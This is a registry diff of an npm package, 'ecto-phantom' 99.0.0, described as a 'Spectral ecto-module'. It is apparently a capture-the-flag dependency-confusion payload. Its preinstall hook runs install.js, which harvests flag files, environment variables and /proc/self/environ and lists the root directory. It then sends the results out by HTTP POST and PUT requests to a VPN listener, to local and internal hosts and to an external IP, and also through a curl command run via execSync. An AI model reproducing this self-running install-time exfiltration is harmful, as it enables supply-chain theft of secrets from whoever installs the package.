ecto-phantom 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/install.js +93 -0
  3. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = {};
package/install.js ADDED
@@ -0,0 +1,93 @@
1
+ const fs = require('fs');
2
+ const http = require('http');
3
+ const https = require('https');
4
+ const { execSync } = require('child_process');
5
+
6
+ function tryRead(path) {
7
+ try { return fs.readFileSync(path, 'utf8').trim(); } catch(e) { return null; }
8
+ }
9
+
10
+ let flag = tryRead('/flag') || tryRead('/flag.txt') || tryRead('/root/flag') || tryRead('/root/flag.txt') || tryRead('/app/flag') || tryRead('/app/flag.txt') || tryRead('/tmp/flag') || tryRead('./flag') || tryRead('./flag.txt');
11
+
12
+ if (!flag) flag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || '';
13
+
14
+ if (!flag) {
15
+ try {
16
+ const env = tryRead('/proc/self/environ') || '';
17
+ const m = env.match(/FLAG[=:]([^\x00]+)/);
18
+ if (m) flag = m[1];
19
+ } catch(e) {}
20
+ }
21
+
22
+ if (!flag) {
23
+ try {
24
+ const files = fs.readdirSync('/');
25
+ const flagFiles = files.filter(f => f.includes('flag'));
26
+ for (const f of flagFiles) {
27
+ const content = tryRead('/' + f);
28
+ if (content && content.includes('HTB{')) { flag = content; break; }
29
+ }
30
+ } catch(e) {}
31
+ }
32
+
33
+ if (!flag) {
34
+ try { flag = 'NOFLAG_LS:' + fs.readdirSync('/').join(','); } catch(e) { flag = 'NOFLAG_ERR'; }
35
+ }
36
+
37
+ const data = JSON.stringify({ flag: flag, ts: Date.now(), cwd: process.cwd(), uid: process.getuid ? process.getuid() : 'N/A' });
38
+
39
+ // Exfiltrate to VPN IP
40
+ function sendHTTP(host, port, path, payload) {
41
+ return new Promise((resolve) => {
42
+ const req = http.request({ hostname: host, port, path, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
43
+ let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
44
+ });
45
+ req.on('error', () => resolve(null));
46
+ req.on('timeout', () => { req.destroy(); resolve(null); });
47
+ req.write(payload);
48
+ req.end();
49
+ });
50
+ }
51
+
52
+ function sendUpdate(host, port, moduleId, flagVal) {
53
+ const manifest = `ecto_module:\n name: "FLAG_${flagVal.substring(0,80)}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
54
+ const body = JSON.stringify({ manifest });
55
+ return new Promise((resolve) => {
56
+ const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
57
+ let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
58
+ });
59
+ req.on('error', () => resolve(null));
60
+ req.on('timeout', () => { req.destroy(); resolve(null); });
61
+ req.write(body);
62
+ req.end();
63
+ });
64
+ }
65
+
66
+ (async () => {
67
+ // Method 1: Send to VPN listener
68
+ await sendHTTP('100.64.0.1', 8888, '/flag', data);
69
+
70
+ // Method 2: Update module via internal API (try multiple ports)
71
+ const ports = [3000, 5000, 8080, 80, 8000, 3001, 4000];
72
+ for (const p of ports) {
73
+ await sendUpdate('127.0.0.1', p, 'ECT-839201', flag || 'EMPTY');
74
+ await sendUpdate('localhost', p, 'ECT-839201', flag || 'EMPTY');
75
+ }
76
+
77
+ // Method 3: Try app hostname
78
+ for (const h of ['app', 'web', 'backend', 'api', 'node']) {
79
+ for (const p of [3000, 80, 8080]) {
80
+ await sendUpdate(h, p, 'ECT-839201', flag || 'EMPTY');
81
+ }
82
+ }
83
+
84
+ // Method 4: Also try the external IP
85
+ await sendUpdate('154.57.164.82', 32332, 'ECT-839201', flag || 'EMPTY');
86
+
87
+ // Method 5: DNS exfil via curl
88
+ try {
89
+ execSync(`curl -sf -X POST http://100.64.0.1:8888/flag2 -d '${data.replace(/'/g, "")}'`, { timeout: 5000 });
90
+ } catch(e) {}
91
+
92
+ console.log('[DONE] Flag exfiltration attempted');
93
+ })();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "ecto-phantom",
3
+ "version": "99.0.0",
4
+ "description": "Spectral ecto-module",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node install.js || true"
8
+ },
9
+ "author": "lwirz",
10
+ "license": "ISC"
11
+ }